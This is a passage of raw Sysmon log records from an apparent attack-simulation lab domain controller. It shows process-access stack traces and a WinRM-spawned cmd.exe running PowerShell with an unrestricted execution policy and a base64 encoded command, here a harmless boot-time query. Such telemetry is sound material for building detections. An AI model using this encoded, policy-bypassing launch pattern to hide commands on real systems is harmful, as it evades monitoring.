\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000461Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-2724-5F80-0500-000000007E01}640760C:\Windows\system32\csrss.exe{A5F018FF-289B-5F80-1103-000000007E01}5036C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000460Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000459Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000458Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-289B-5F80-1003-000000007E01}45924476C:\Windows\system32\cmd.exe{A5F018FF-289B-5F80-1103-000000007E01}5036C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000457Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.898{A5F018FF-289B-5F80-1103-000000007E01}5036C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUAC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289B-5F80-7ADD-110000000000}0x11dd7a0HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-289B-5F80-1003-000000007E01}4592C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA 10341000x8000000000000000456Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000455Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-289B-5F80-0F03-000000007E01}42284256C:\Windows\system32\conhost.exe{A5F018FF-289B-5F80-1003-000000007E01}4592C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000454Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000453Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000452Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000451Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000450Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000449Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000448Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000447Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000446Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-2724-5F80-0500-000000007E01}6401156C:\Windows\system32\csrss.exe{A5F018FF-289B-5F80-1003-000000007E01}4592C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000445Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000444Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-289B-5F80-0E03-000000007E01}47964152C:\Windows\system32\WinrsHost.exe{A5F018FF-289B-5F80-1003-000000007E01}4592C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x8000000000000000443Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.893{A5F018FF-289B-5F80-1003-000000007E01}4592C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUAC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289B-5F80-7ADD-110000000000}0x11dd7a0HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-289B-5F80-0E03-000000007E01}4796C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x8000000000000000442Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.877{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000441Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.877{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000440Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.877{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000439Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.877{A5F018FF-272E-5F80-1400-000000007E01}13481656C:\Windows\system32\svchost.exe{A5F018FF-289B-5F80-0E03-000000007E01}4796C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x8000000000000000438Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.877{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-289B-5F80-0E03-000000007E01}4796C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000437Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.862{A5F018FF-289B-5F80-0F03-000000007E01}42284256C:\Windows\system32\conhost.exe{A5F018FF-289B-5F80-0E03-000000007E01}4796C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000436Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.862{A5F018FF-2724-5F80-0500-000000007E01}6402972C:\Windows\system32\csrss.exe{A5F018FF-289B-5F80-0F03-000000007E01}4228C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000435Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 